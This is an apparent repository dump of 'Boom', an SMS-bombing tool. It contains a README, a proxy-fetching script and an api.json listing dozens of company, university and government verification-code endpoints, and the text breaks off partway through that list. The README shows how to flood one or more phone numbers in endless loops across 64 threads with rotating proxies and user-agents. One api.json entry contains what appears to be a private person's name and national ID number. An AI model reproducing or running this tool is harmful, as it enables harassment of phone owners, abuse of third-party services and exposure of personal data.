├── .gitignore ├── GETAPI.json ├── ProxySpider.py ├── README.assets ├── Screenshot_20220919_173722_com.android.mms.jpg └── test.gif ├── README.md ├── api.json ├── flask_app ├── __init__.py ├── data.db ├── model.py ├── static │ └── test.js ├── templates │ ├── admin_back.html │ └── api_edit.html ├── utils.py └── views │ ├── __init__.py │ ├── error.py │ └── views.py ├── img ├── Screenshot_20220919_173722_com.android.mms.jpg ├── smsboom-logo.png ├── test.gif ├── webui-test-2.png └── webui-test.png ├── main.py ├── requirements.txt ├── run_flask_app.py ├── useragents ├── android.txt ├── browsers.txt ├── cloudplatforms.txt ├── crawlers.txt ├── feedreaders.txt ├── ipad.txt ├── iphone.txt ├── libraries.txt ├── linkcheckers.txt ├── others.txt ├── validators.txt └── zytrax-browserid.txt └── utils ├── models.py └── req.py /.gitignore: -------------------------------------------------------------------------------- 1 | # owner 2 | git-filter-repo.py 3 | replacements.txt 4 | # Byte-compiled / optimized / DLL files 5 | __pycache__/ 6 | *.py[cod] 7 | *$py.class 8 | 9 | # C extensions 10 | *.so 11 | 12 | # Distribution / packaging 13 | .Python 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | wheels/ 26 | share/python-wheels/ 27 | *.egg-info/ 28 | .installed.cfg 29 | *.egg 30 | MANIFEST 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .nox/ 46 | .coverage 47 | .coverage.* 48 | .cache 49 | nosetests.xml 50 | coverage.xml 51 | *.cover 52 | *.py,cover 53 | .hypothesis/ 54 | .pytest_cache/ 55 | cover/ 56 | 57 | # Translations 58 | *.mo 59 | *.pot 60 | 61 | # Django stuff: 62 | *.log 63 | local_settings.py 64 | db.sqlite3 65 | db.sqlite3-journal 66 | 67 | # Flask stuff: 68 | instance/ 69 | .webassets-cache 70 | 71 | # Scrapy stuff: 72 | .scrapy 73 | 74 | # Sphinx documentation 75 | docs/_build/ 76 | 77 | # PyBuilder 78 | .pybuilder/ 79 | target/ 80 | 81 | # Jupyter Notebook 82 | .ipynb_checkpoints 83 | 84 | # IPython 85 | profile_default/ 86 | ipython_config.py 87 | 88 | # pyenv 89 | # For a library or package, you might want to ignore these files since the code is 90 | # intended to run in multiple environments; otherwise, check them in: 91 | # .python-version 92 | 93 | # pipenv 94 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 95 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 96 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 97 | # install all needed dependencies. 98 | #Pipfile.lock 99 | 100 | # poetry 101 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 102 | # This is especially recommended for binary packages to ensure reproducibility, and is more 103 | # commonly ignored for libraries. 104 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 105 | #poetry.lock 106 | 107 | # pdm 108 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 109 | #pdm.lock 110 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 111 | # in version control. 112 | # https://pdm.fming.dev/#use-with-ide 113 | .pdm.toml 114 | 115 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 116 | __pypackages__/ 117 | 118 | # Celery stuff 119 | celerybeat-schedule 120 | celerybeat.pid 121 | 122 | # SageMath parsed files 123 | *.sage.py 124 | 125 | # Environments 126 | .env 127 | .venv 128 | env/ 129 | venv/ 130 | ENV/ 131 | env.bak/ 132 | venv.bak/ 133 | 134 | # Spyder project settings 135 | .spyderproject 136 | .spyproject 137 | 138 | # Rope project settings 139 | .ropeproject 140 | 141 | # mkdocs documentation 142 | /site 143 | 144 | # mypy 145 | .mypy_cache/ 146 | .dmypy.json 147 | dmypy.json 148 | 149 | # Pyre type checker 150 | .pyre/ 151 | 152 | # pytype static type analyzer 153 | .pytype/ 154 | 155 | # Cython debug symbols 156 | cython_debug/ 157 | 158 | # PyCharm 159 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 160 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 161 | # and can be added to the global gitignore or merged into this file. For a more nuclear 162 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 163 | .idea/ 164 | 165 | -------------------------------------------------------------------------------- /ProxySpider.py: -------------------------------------------------------------------------------- 1 | from requests import get 2 | 3 | 4 | class ProxySpider: 5 | ip_list = list() 6 | 7 | def __init__(self, ip_number, proxypool_url): 8 | """ 9 | 10 | :param ip_number:一次性获取的代理ip数 11 | :param proxypool_url: 获取代理的目标地址(http://192.168.99.100:5555/random)(http://127.0.0.1:5555/random) 12 | """ 13 | self.proxypool_url = proxypool_url 14 | self.ip_number = ip_number 15 | 16 | def geturl(self): 17 | pass 18 | 19 | def parseurl(self): 20 | """ 21 | 向获取ip代理目标地址发送请求,返回代理 22 | :return: 23 | """ 24 | for i in range(0, self.ip_number): 25 | if get(self.proxypool_url).status_code == 200: 26 | ProxySpider.ip_list.append(get(self.proxypool_url).text.strip()) 27 | 28 | else: 29 | while get(self.proxypool_url).status_code == 200: 30 | ProxySpider.ip_list.append(get(self.proxypool_url).text.strip()) 31 | 32 | def run(self): 33 | """# 先清空已存的ip列表 34 | ProxySpider.ip_list = list()""" 35 | # 再获取新的ip列表 36 | self.parseurl() 37 | -------------------------------------------------------------------------------- /README.assets/Screenshot_20220919_173722_com.android.mms.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/README.assets/Screenshot_20220919_173722_com.android.mms.jpg -------------------------------------------------------------------------------- /README.assets/test.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/README.assets/test.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | **基于SMSBoom项目的增强和代码优化** 2 | 3 | ![logo](img/smsboom-logo.png) 4 | 5 | 6 | ## 原有Feature 7 | 8 | 1. 通过自定义 `api.json` 的方式定义接口. 9 | 2. 支持关键字替换. **时间戳** `[timestamp]` **手机号** `[phone]` 10 | 3. 多线程/异步 请求. 11 | 4. 通过 Flask 提供网页测试/添加接口. 12 | 5. 友好的命令行参数支持. 13 | 6. ~~采用方便的 pipenv 包管理.~~ 14 | 7. ~~通过代理调用短信接口, 支持http, socks4, socks5代理.~~ 15 | 8. 使用随机的User-Agent. 16 | 9. ~~可指定轰炸次数, 轰炸间隔时间.~~ 17 | 18 | ## 增加Feature 19 | 20 | 1. 增加也可通过代理调用异步请求 21 | 2. 使用ProxyPool获取代理替换原有的读取代理接口文件获取代理 22 | 3. 更多的随机的User-Agent 23 | 4. 不再需要指定轰炸次数,只需指定间隔时间,即可实现循环轰炸,直到想停 24 | 25 | ## Quick Start 26 | 27 | * ### 部署ProxyPool 28 | 29 | >* 克隆代码 30 | > 31 | > ```bash 32 | > git clone https://github.com/Python3WebSpider/ProxyPool.git 33 | > cd ProxyPool 34 | > ``` 35 | > 36 | >* 使用 Docker 37 | > 38 | > 安装如下环境: 39 | > 40 | > - Docker 41 | > - Docker-Compose 42 | > 43 | > 安装方法自行搜索即可。 44 | > 45 | > ```bash 46 | > docker-compose up 47 | > ``` 48 | > 49 | > 运行结果类似如下: 50 | > 51 | > ```bash 52 | > redis | 1:M 19 Feb 2020 17:09:43.940 * DB loaded from disk: 0.000 seconds 53 | > redis | 1:M 19 Feb 2020 17:09:43.940 * Ready to accept connections 54 | > proxypool | 2020-02-19 17:09:44,200 CRIT Supervisor is running as root. Privileges were not dropped because no user is specified in the config file. If you intend to run as root, you can set user=root in the config file to avoid this message. 55 | > proxypool | 2020-02-19 17:09:44,203 INFO supervisord started with pid 1 56 | > proxypool | 2020-02-19 17:09:45,209 INFO spawned: 'getter' with pid 10 57 | > proxypool | 2020-02-19 17:09:45,212 INFO spawned: 'server' with pid 11 58 | > proxypool | 2020-02-19 17:09:45,216 INFO spawned: 'tester' with pid 12 59 | > proxypool | 2020-02-19 17:09:46,596 INFO success: getter entered RUNNING state, process has stayed up for > than 1 seconds (startsecs) 60 | > proxypool | 2020-02-19 17:09:46,596 INFO success: server entered RUNNING state, process has stayed up for > than 1 seconds (startsecs) 61 | > proxypool | 2020-02-19 17:09:46,596 INFO success: tester entered RUNNING state, process has stayed up for > than 1 seconds (startsecs) 62 | > ``` 63 | > 64 | > 验证是否搭建成功,可访问 http://localhost:5555/random 即可获取一个随机可用代理 65 | > 66 | > 往后想要再次启动,只需要进入到ProxyPool代码文件夹,桥下命令 67 | > 68 | > ```bash 69 | > docker-compose start 70 | > ``` 71 | 72 | * ## 部署Boom 73 | 74 | >* 克隆代码 75 | > 76 | > ```bash 77 | > git clone https://github.com/linxinloningg/Boom.git 78 | > ``` 79 | > 80 | >* 配置环境 81 | > 82 | > **前提条件:** 请确保自己的电脑有 `python3.x` 的环境,推荐使用 `3.8` 及以上! 83 | > 84 | > 推荐使用conda虚拟环境 85 | > 86 | > ```bash 87 | > # 创建新的虚拟环境 88 | > conda create -n boom python=3.8 89 | > ``` 90 | > 91 | > ```bash 92 | > # 激活虚拟环境 93 | > conda activate boom 94 | > # 下载依赖 95 | > cd Boom 96 | > pip install -r requirements.txt 97 | > ``` 98 | > 99 | >* 尝试启动 100 | > 101 | > ```bash 102 | > python main.py 103 | > ``` 104 | > 105 | > 前端测试api界面 106 | > 107 | > ```bash 108 | > python run_flask_app.py start 109 | > ``` 110 | 111 | ### 开启轰炸 112 | 113 | 帮助信息: 114 | 115 | ```shell 116 | PS C:\Users\Administrator\Desktop\Boom> python .\main.py 117 | 118 | Usage: main.py [OPTIONS] COMMAND [ARGS]... 119 | 120 | Options: 121 | --help Show this message and exit. 122 | 123 | Commands: 124 | async-run 以最快的方式请求接口(真异步百万并发) 125 | one-run 单线程(测试使用) 126 | run 传入线程数和手机号启动轰炸,支持多手机号 127 | update 从 github 获取最新接口 128 | ``` 129 | 130 | * ### run 131 | 132 | ```shell 133 | PS C:\Users\Administrator\Desktop\Boom> python .\main.py run --help 134 | Usage: main.py run [OPTIONS] 135 | 136 | 传入线程数和手机号启动轰炸,支持多手机号 137 | 138 | Options: 139 | -t, --thread INTEGER 线程数(默认64) 140 | -p, --phone TEXT 手机号,可传入多个再使用-p传递 [required] 141 | -i, --interval INTEGER 间隔时间(默认60s) 142 | -e, --proxies INTEGER 一次攻击所需代理(默认10),不使用代理则设为0 143 | --help Show this message and exit. 144 | ``` 145 | 146 | >### 命令示例 147 | > 148 | >启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),不使用代理 149 | > 150 | >```shell 151 | >python main.py run -t 64 -p 198xxxxxxxx -e 0 152 | >``` 153 | > 154 | >启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 每次间隔30秒 155 | > 156 | >```shell 157 | >python smsboom.py run -t 64 -p 198xxxxxxxx -i 30 -e 0 158 | >``` 159 | > 160 | >启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 每次间隔30秒, 开启代理,每次轰炸在10个代理中随机选择一个代理搭配一个api,进行轰炸 161 | > 162 | >```shell 163 | >python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 -e 10 164 | >``` 165 | > 166 | >启动64个线程,轰//炸多个人的手机号(198xxxxxxxx,199xxxxxxxx), 每次间隔30秒, 开启代理,每次轰炸在10个代理中随机选择一个代理搭配一个api 167 | > 168 | >```shell 169 | >python smsboom.py run -t 64 -p 198xxxxxxxx -p 199xxxxxxxx -f 60 -i 30 -e 10 170 | >``` 171 | > 172 | >### 效果展现 173 | > 174 | >![](README.assets/test.gif) 175 | > 176 | >![](README.assets/Screenshot_20220919_173722_com.android.mms.jpg) 177 | 178 | ### Flask 前端调试 179 | 180 | > **前提是已经根据前文 Quick Start 的方式安装好 环境** 181 | 182 | ```shell 183 | python run_flask_app.py start -p 9090 # 监听9090端口 184 | ``` 185 | 186 | **运行帮助:** 187 | ```shell 188 | Usage: run_flask_app.py [OPTIONS] COMMAND [ARGS]... 189 | 190 | Options: 191 | --help Show this message and exit. 192 | 193 | Commands: 194 | init 初始化数据库 195 | json2sqlite 将json数据转为sqlite数据库 196 | sqlite2json 将sqlite数据转为json 197 | start 启动 flask app 198 | ``` 199 | 200 | ```shell 201 | Usage: run_flask_app.py start [OPTIONS] 202 | 203 | 启动 flask app 204 | 205 | Options: 206 | -h, --host TEXT 监听地址 207 | -p, --port INTEGER 监听端口 208 | --help Show this message and exit. 209 | ``` 210 | 211 | 默认监听 *0.0.0.0:9090* 地址,浏览器访问[http://127.0.0.1:9090/admin/](http://127.0.0.1:9090/admin/)若无意外,就可以出现前端调试界面。 212 | 213 | ![](img/webui-test.png) 214 | ![](img/webui-test-2.png) 215 | -------------------------------------------------------------------------------- /api.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "desc": "彩云小译", 4 | "url": "https://biz.caiyunapp.com/v1/send_sms_code", 5 | "method": "POST", 6 | "header": { 7 | "Referer": "https://fanyi.caiyunapp.com/", 8 | "Cy-Token": "token 9876032166" 9 | }, 10 | "data": { 11 | "phone_num": "[phone]", 12 | "area_code": "86" 13 | } 14 | }, 15 | { 16 | "desc": "网易云游戏", 17 | "url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]", 18 | "method": "POST", 19 | "header": "", 20 | "data": { 21 | "etc": { 22 | "validate": "" 23 | } 24 | } 25 | }, 26 | { 27 | "desc": "果壳app", 28 | "url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications", 29 | "method": "POST", 30 | "header": { 31 | "User-Agent": "android 2.0.15", 32 | "Client-Source": "android;23;Android;MuMu", 33 | "Client-Channel": "gkchannel_QD009", 34 | "Content-Type": "application/json; charset=UTF-8" 35 | }, 36 | "data": { 37 | "dial_code": "0086", 38 | "phone": "[phone]" 39 | } 40 | }, 41 | { 42 | "desc": "踢米app", 43 | "url": "https://www.timing360.com/user/send-captcha", 44 | "method": "POST", 45 | "header": { 46 | "Authorization": "7119181942667E7D85987C65A6D0B8EC", 47 | "Content-Type": "application/x-www-form-urlencoded" 48 | }, 49 | "data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187" 50 | }, 51 | { 52 | "desc": "微爱app", 53 | "url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D", 54 | "method": "POST", 55 | "header": "", 56 | "data": "" 57 | }, 58 | { 59 | "desc": "返利app(24小时限制)", 60 | "url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]", 61 | "method": "GET", 62 | "header": "", 63 | "data": "" 64 | }, 65 | { 66 | "desc": "酷安(一天只能一次)", 67 | "url": "https://account.coolapk.com/auth/login?type=mobile", 68 | "method": "POST", 69 | "header": "", 70 | "data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208" 71 | }, 72 | { 73 | "desc": "广东高考报名web", 74 | "url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb", 75 | "method": "POST", 76 | "header": "", 77 | "data": "[phone]" 78 | }, 79 | { 80 | "desc": "广东教育翔云", 81 | "url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN", 82 | "method": "GET", 83 | "header": "", 84 | "data": "" 85 | }, 86 | { 87 | "desc": "迪卡侬", 88 | "url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 89 | "method": "POST", 90 | "header": "", 91 | "data": { 92 | "countryCode": "CN", 93 | "mobile": "[phone]" 94 | } 95 | }, 96 | { 97 | "desc": "股海网", 98 | "url": "https://www.guhai.com.cn/front/member/sendSmsCode", 99 | "method": "POST", 100 | "header": "", 101 | "data": { 102 | "mobile": "[phone]" 103 | } 104 | }, 105 | { 106 | "desc": "LLL的个人blog", 107 | "url": "http://www.lll.plus/sendCode/", 108 | "method": "POST", 109 | "header": "", 110 | "data": { 111 | "tel": "[phone]", 112 | "forgetPwd": "" 113 | } 114 | }, 115 | { 116 | "desc": "企米子", 117 | "url": "https://www.xcxui.com/index/register/getcode.html", 118 | "method": "POST", 119 | "header": "", 120 | "data": { 121 | "tel": "[phone]" 122 | } 123 | }, 124 | { 125 | "desc": "蒲公英", 126 | "url": "https://id.pgyer.com/user/getRegisterCode", 127 | "method": "POST", 128 | "header": "", 129 | "data": { 130 | "tel": "[phone]", 131 | "callingCode": "86", 132 | "mode": "tel" 133 | } 134 | }, 135 | { 136 | "desc": "百卓优采", 137 | "url": "https://erp.abiz.com/mobilecode/sendMobileCode", 138 | "method": "POST", 139 | "header": "", 140 | "data": { 141 | "mobile": "[phone]", 142 | "captcha": "" 143 | } 144 | }, 145 | { 146 | "desc": "云背篓", 147 | "url": "https://brand.yunbeilou.com/index.php/smssend", 148 | "method": "POST", 149 | "header": "", 150 | "data": { 151 | "phone": "[phone]", 152 | "v": "yes" 153 | } 154 | }, 155 | { 156 | "desc": "PHP中文网", 157 | "url": "https://m.php.cn/account/phone_code.html", 158 | "method": "POST", 159 | "header": "", 160 | "data": { 161 | "phone": "[phone]" 162 | } 163 | }, 164 | { 165 | "desc": "12321", 166 | "url": "http://dhba.12321.cn/api/verifycode", 167 | "method": "POST", 168 | "header": "", 169 | "data": { 170 | "phone": "[phone]" 171 | } 172 | }, 173 | { 174 | "desc": "Testin众测", 175 | "url": "https://www.ztestin.com/users/send/vercode", 176 | "method": "POST", 177 | "header": "", 178 | "data": { 179 | "phone": "[phone]", 180 | "type": "register", 181 | "voice": "0" 182 | } 183 | }, 184 | { 185 | "desc": "海尔", 186 | "url": "http://maker.haier.net/client/user/sendregistervcode.html", 187 | "method": "POST", 188 | "header": "", 189 | "data": { 190 | "account": "[phone]" 191 | } 192 | }, 193 | { 194 | "desc": "飞猫云", 195 | "url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg", 196 | "method": "POST", 197 | "header": "", 198 | "data": { 199 | "pcode": "+86", 200 | "phone": "[phone]" 201 | } 202 | }, 203 | { 204 | "desc": "华觉数字化平台", 205 | "url": "https://end.huajuetech.com/api/sendCode", 206 | "method": "POST", 207 | "header": "", 208 | "data": { 209 | "mobile": "[phone]", 210 | "email": "null", 211 | "verfy_method": "mobile" 212 | } 213 | }, 214 | { 215 | "desc": "问政江西", 216 | "url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", 217 | "method": "POST", 218 | "header": "", 219 | "data": { 220 | "phone": "[phone]" 221 | } 222 | }, 223 | { 224 | "desc": "河南智慧党建", 225 | "url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", 226 | "method": "POST", 227 | "header": "", 228 | "data": { 229 | "phone": "[phone]", 230 | "verifytype": "1" 231 | } 232 | }, 233 | { 234 | "desc": "陆陆陆云安全", 235 | "url": "https://cloud.666idc.com/index/login/sendsms.html", 236 | "method": "POST", 237 | "header": "", 238 | "data": { 239 | "mobile": "[phone]", 240 | "mobile_pre": "86" 241 | } 242 | }, 243 | { 244 | "desc": "网易", 245 | "url": "https://dz.blizzard.cn/action/user/mobile/captcha", 246 | "method": "POST", 247 | "header": "", 248 | "data": { 249 | "mobile": "[phone]" 250 | } 251 | }, 252 | { 253 | "desc": "码云社", 254 | "url": "https://www.codeseeding.com/loginUser/toSend", 255 | "method": "POST", 256 | "header": "", 257 | "data": { 258 | "phone": "[phone]" 259 | } 260 | }, 261 | { 262 | "desc": "人才山东", 263 | "url": "http://sso.rcsd.cn/regist/getVerifyCode", 264 | "method": "POST", 265 | "header": "", 266 | "data": { 267 | "personcall": "[phone]" 268 | } 269 | }, 270 | { 271 | "desc": "水利部", 272 | "url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", 273 | "method": "POST", 274 | "header": "", 275 | "data": { 276 | "mobile": "[phone]" 277 | } 278 | }, 279 | { 280 | "desc": "七联大学", 281 | "url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", 282 | "method": "POST", 283 | "header": "", 284 | "data": { 285 | "phoneNumber": "[phone]", 286 | "sendType": "0" 287 | } 288 | }, 289 | { 290 | "desc": "闪德资讯", 291 | "url": "https://www.0101ssd.com/user/sendmsg", 292 | "method": "POST", 293 | "header": "", 294 | "data": { 295 | "mobile": "[phone]", 296 | "event": "register" 297 | } 298 | }, 299 | { 300 | "desc": "江苏省名师空中课堂", 301 | "url": "https://mskzkt.jse.edu.cn/baseApi/user/code/", 302 | "method": "POST", 303 | "header": "", 304 | "data": { 305 | "mobile": "[phone]", 306 | "type": "1" 307 | } 308 | }, 309 | { 310 | "desc": "CSFF短片", 311 | "url": "https://csff.cutv.com/wapi/users/sendregcode", 312 | "method": "POST", 313 | "header": "", 314 | "data": { 315 | "telphone": "[phone]" 316 | } 317 | }, 318 | { 319 | "desc": "广西人社厅", 320 | "url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", 321 | "method": "POST", 322 | "header": "", 323 | "data": { 324 | "aae005": "[phone]", 325 | "aac003": "刘萌萌", 326 | "aac002": "210212198506035924", 327 | "notkeyflag": "1" 328 | } 329 | }, 330 | { 331 | "desc": "麦克赛尔数字映像", 332 | "url": "https://www.maxell-dm.cn/Code/CheckImage.aspx", 333 | "method": "POST", 334 | "header": "", 335 | "data": { 336 | "action": "send", 337 | "txtMember_Name": "[phone]" 338 | } 339 | }, 340 | { 341 | "desc": "宝提分", 342 | "url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", 343 | "method": "POST", 344 | "header": "", 345 | "data": { 346 | "mobile": "[phone]" 347 | } 348 | }, 349 | { 350 | "desc": "选型系统", 351 | "url": "http://www.cnppump.ltd/Service/UserHandler.ashx", 352 | "method": "GET", 353 | "header": "", 354 | "data": { 355 | "cmd": "GetTelVerifyCode", 356 | "Tel": "[phone]" 357 | } 358 | }, 359 | { 360 | "desc": "千里马网信科技", 361 | "url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", 362 | "method": "POST", 363 | "header": "", 364 | "data": { 365 | "tips": "1", 366 | "shouji": "[phone]" 367 | } 368 | }, 369 | { 370 | "desc": "保定云", 371 | "url": "https://baodingyun.com.cn/register/send_registerSMS.html", 372 | "method": "POST", 373 | "header": "", 374 | "data": { 375 | "phone": "[phone]" 376 | } 377 | }, 378 | { 379 | "desc": "欢动游戏", 380 | "url": "http://www.gm5.com/auth/registerSms.html", 381 | "method": "POST", 382 | "header": "", 383 | "data": { 384 | "mobile": "[phone]" 385 | } 386 | }, 387 | { 388 | "desc": "迈威", 389 | "url": "https://www.maiwe.com.cn/index/sendcode.html", 390 | "method": "GET", 391 | "header": "", 392 | "data": { 393 | "tel": "[phone]" 394 | } 395 | }, 396 | { 397 | "desc": "憨鼠社区", 398 | "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", 399 | "method": "GET", 400 | "header": "", 401 | "data": {} 402 | }, 403 | { 404 | "desc": "天鹅到家", 405 | "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", 406 | "method": "GET", 407 | "header": "", 408 | "data": {} 409 | }, 410 | { 411 | "desc": "诺达筑工", 412 | "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", 413 | "method": "GET", 414 | "header": "", 415 | "data": {} 416 | }, 417 | { 418 | "desc": "栋才智慧", 419 | "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", 420 | "method": "GET", 421 | "header": "", 422 | "data": {} 423 | }, 424 | { 425 | "desc": "工伤预防网上培训平台", 426 | "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", 427 | "method": "GET", 428 | "header": "", 429 | "data": {} 430 | }, 431 | { 432 | "desc": "济宁专技", 433 | "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson", 434 | "method": "POST", 435 | "header": "", 436 | "data": { 437 | "phone": "[phone]", 438 | "sendType": "4" 439 | } 440 | }, 441 | { 442 | "desc": "宁夏伊地地质工程有限公司", 443 | "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", 444 | "method": "GET", 445 | "header": "", 446 | "data": {} 447 | }, 448 | { 449 | "desc": "青春大学说", 450 | "url": "http://zycp.qcdxs.com:5001/sms/sendsms", 451 | "method": "POST", 452 | "header": "", 453 | "data": { 454 | "phone_number": "[phone]" 455 | } 456 | }, 457 | { 458 | "desc": "兴业利达电子招投标平台", 459 | "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", 460 | "method": "POST", 461 | "header": "", 462 | "data": { 463 | "username": "[phone]", 464 | "type": "regUser", 465 | "mobile": "PC" 466 | } 467 | }, 468 | { 469 | "desc": "火象", 470 | "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms", 471 | "method": "POST", 472 | "header": "", 473 | "data": { 474 | "temp": "1", 475 | "phone": "[phone]" 476 | } 477 | }, 478 | { 479 | "desc": "中科教育", 480 | "url": "https://www.vipexam.cn/user/identifyingCode.action", 481 | "method": "POST", 482 | "header": "", 483 | "data": { 484 | "phone": "[phone]" 485 | } 486 | }, 487 | { 488 | "desc": "聚题库", 489 | "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", 490 | "method": "GET", 491 | "header": "", 492 | "data": {} 493 | }, 494 | { 495 | "desc": "苏州高新区教育局", 496 | "url": "https://jssnd.edu.cn/apiu/v1/register/auth", 497 | "method": "POST", 498 | "header": "", 499 | "data": { 500 | "phone": "[phone]" 501 | } 502 | }, 503 | { 504 | "desc": "专业技术人员继续教育平台", 505 | "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", 506 | "method": "GET", 507 | "header": "", 508 | "data": {} 509 | }, 510 | { 511 | "desc": "泰安专技", 512 | "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson", 513 | "method": "POST", 514 | "header": "", 515 | "data": { 516 | "phone": "[phone]", 517 | "sendType": "4" 518 | } 519 | }, 520 | { 521 | "desc": "漏洞银行", 522 | "url": "https://www.bugbank.cn/api/verifymobile", 523 | "method": "POST", 524 | "header": "", 525 | "data": { 526 | "mobile": "[phone]" 527 | } 528 | }, 529 | { 530 | "desc": "中国劳动保障新闻网", 531 | "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", 532 | "method": "POST", 533 | "header": "", 534 | "data": { 535 | "mobile": "[phone]" 536 | } 537 | }, 538 | { 539 | "desc": "广东省心理学会", 540 | "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", 541 | "method": "POST", 542 | "header": "", 543 | "data": { 544 | "phone": "[phone]" 545 | } 546 | }, 547 | { 548 | "desc": "费耘网", 549 | "url": "https://www.feeclouds.com/homepage/register/send", 550 | "method": "POST", 551 | "header": "", 552 | "data": { 553 | "mobile": "[phone]" 554 | } 555 | }, 556 | { 557 | "desc": "语雀web", 558 | "url": "https://www.yuque.com/api/validation_codes", 559 | "method": "POST", 560 | "header": { 561 | "referer": "https://www.yuque.com/register" 562 | }, 563 | "data": { 564 | "target": "[phone]", 565 | "action": "register", 566 | "channel": "sms" 567 | } 568 | }, 569 | { 570 | "desc": "甜糖app", 571 | "url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]", 572 | "method": "POST", 573 | "header": "", 574 | "data": "" 575 | }, 576 | { 577 | "desc": "网心云APP", 578 | "url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms", 579 | "method": "POST", 580 | "header": "", 581 | "data": { 582 | "protocolVersion": "301", 583 | "sequenceNo": "1000001", 584 | "platformVersion": "10", 585 | "isCompressed": "0", 586 | "appid": "22017", 587 | "clientVersion": "3.15.1", 588 | "peerID": "00000000000000000000000000000000", 589 | "appName": "ANDROID-com.onethingcloud.android", 590 | "sdkVersion": "204500", 591 | "devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b", 592 | "netWorkType": "WIFI", 593 | "providerName": "NONE", 594 